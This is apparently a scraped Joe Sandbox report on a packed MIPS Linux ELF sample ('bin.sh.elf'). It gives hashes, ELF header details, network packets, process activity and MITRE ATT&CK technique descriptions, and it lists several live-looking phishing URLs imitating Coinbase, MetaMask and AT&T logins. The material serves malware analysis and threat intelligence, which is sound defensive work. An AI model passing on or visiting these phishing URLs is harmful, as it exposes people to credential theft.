	zerppc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	zerm68k.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	nabarm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
AMAZON-02US	http://ajrdn.qqmasonry.com/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	108.138.106.39
	jkse.mips.elf	Get hash	malicious	Unknown	Browse	54.127.97.231
	jkse.mpsl.elf	Get hash	malicious	Unknown	Browse	52.94.132.43
	http://metamaskelogines.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	13.33.251.68
	https://imntokqen.com/en.html	Get hash	malicious	Unknown	Browse	108.138.113.198
	http://sso-cdn-coinbasepro-autthh.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	13.33.251.140
	https://www.creditopersonalcard1f.ru/validaciones/cardif/3	Get hash	malicious	Unknown	Browse	76.76.21.98
	https://helptrzer-hardware.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	13.33.251.68
	https://securelogin-att-1-01-9-33.weeblysite.com/	Get hash	malicious	Unknown	Browse	44.241.160.37
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
Entropy (8bit):	5.992227011429975
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	bin.sh.elf
File size:	307'960 bytes
MD5:	944f2c5896832670ed2341c7c12e2c36
SHA1:	311a680784c8e1dea11267cd89c3ed6cb190c761
SHA256:	31c8e4e926d4c0cc69d10be8e63fcb1950b68d4bd78c0a4c50c96cee6d8e9893
SHA512:	029eb6af2be975eee6b724854b43e9762f079c665eaa4197b1963c4f64cd7d06703d0d60c7fc3fb52dacefb4e68c96c798342560870b0b86d96e364fce4e5fc3
SSDEEP:	6144:7O/QJHZweEL/NOjCHm7FZZncToNsKqqfPqOJ:78QpZsKCaiTHKqoPqOJ
TLSH:	8864F1CAED01AE75F9C54779BA1F074973B28BE8D3C3B110E624C6143ADE6468B391C8
File Content Preview:	.ELF.....................A.h...4.........4. ...(.............@...@...........................C...C....................UPX!.X.....................\....\|.$..ELF..........@.`....4..^h... ...(......<...@......ll.....H.W.`.t.d....dt.Q.....].M............6...

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x41fb68
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	2
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
LOAD	0x0	0x400000	0x400000	0x205b2	0x205b2	7.8142	0x5	R E	0x10000
LOAD	0x0	0x430000	0x430000	0x0	0x8ac18	0.0000	0x6	RW	0x10000

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 6
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 00:27:26.769454002 CET	43928	443	192.168.2.23	91.189.91.42
Mar 20, 2025 00:27:32.912607908 CET	39256	443	192.168.2.23	34.249.145.219
Mar 20, 2025 00:27:42.383364916 CET	42516	80	192.168.2.23	109.202.202.202
Mar 20, 2025 00:27:48.526479959 CET	43928	443	192.168.2.23	91.189.91.42
Mar 20, 2025 00:27:49.038451910 CET	39256	443	192.168.2.23	34.249.145.219
Mar 20, 2025 00:28:29.480766058 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: bin.sh.elf PID: 6264, Parent PID: 6187

General

Start time (UTC):	23:27:26
Start date (UTC):	19/03/2025
Path:	/tmp/bin.sh.elf
Arguments:	/tmp/bin.sh.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 6326, Parent PID: 4331

General

Start time (UTC):	23:28:17
Start date (UTC):	19/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6326, Parent PID: 4331

General

Start time (UTC):	23:28:17
Start date (UTC):	19/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.71H0mcXTB8 /tmp/tmp.X7M0uFhHok /tmp/tmp.Ah1PQtjCYH
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 6327, Parent PID: 4331

General

Start time (UTC):	23:28:17
Start date (UTC):	19/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6327, Parent PID: 4331

General

Start time (UTC):	23:28:17
Start date (UTC):	19/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.71H0mcXTB8 /tmp/tmp.X7M0uFhHok /tmp/tmp.Ah1PQtjCYH
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report bin.sh.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: bin.sh.elf PID: 6264, Parent PID: 6187

General

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 6326, Parent PID: 4331

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6326, Parent PID: 4331

General

File Activities

Linux Analysis Report
bin.sh.elf